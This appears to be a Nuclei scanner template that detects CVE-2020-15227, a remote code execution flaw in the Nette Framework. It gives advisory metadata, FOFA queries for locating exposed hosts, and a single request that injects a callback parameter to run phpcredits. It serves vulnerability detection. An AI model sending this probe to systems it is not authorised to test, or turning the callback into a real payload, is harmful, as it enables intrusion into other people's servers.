id: CVE-2020-15227 info: name: Nette Framework - Remote Code Execution author: becivells severity: critical description: Nette Framework versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, and 3.0.6 are vulnerable to a code injection attack via specially formed parameters being passed to a URL. Nette is a PHP/Composer MVC Framework. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. remediation: | Apply the latest security patches provided by the Nette Framework to fix the deserialization vulnerability. reference: - https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94 - https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md - https://nvd.nist.gov/vuln/detail/CVE-2020-15227 - https://lists.debian.org/debian-lts-announce/2021/04/msg00003.html - https://packagist.org/packages/nette/application classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-15227 cwe-id: CWE-94,CWE-74 epss-score: 0.97285 epss-percentile: 0.99862 cpe: cpe:2.3:a:nette:application:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: nette product: application fofa-query: - app="nette-Framework" - app="nette-framework" tags: cve2020,cve,nette,rce http: - method: GET path: - "{{BaseURL}}/nette.micro/?callback=phpcredits" matchers-condition: and matchers: - type: word part: body words: - "PHP Credits" - type: word part: header words: - "Nette Framework" # digest: 490a0046304402205c1215ea8640da18e3d614f0c0ec279adead8c18fb2c0dc21706e5a6ba3ba54602207009aca8e84a8b3e0edf6bd9bb32648147ee3aa92da7fe7cb29dbd8272e00f0a:922c64590222798bb761d5b6d8e72950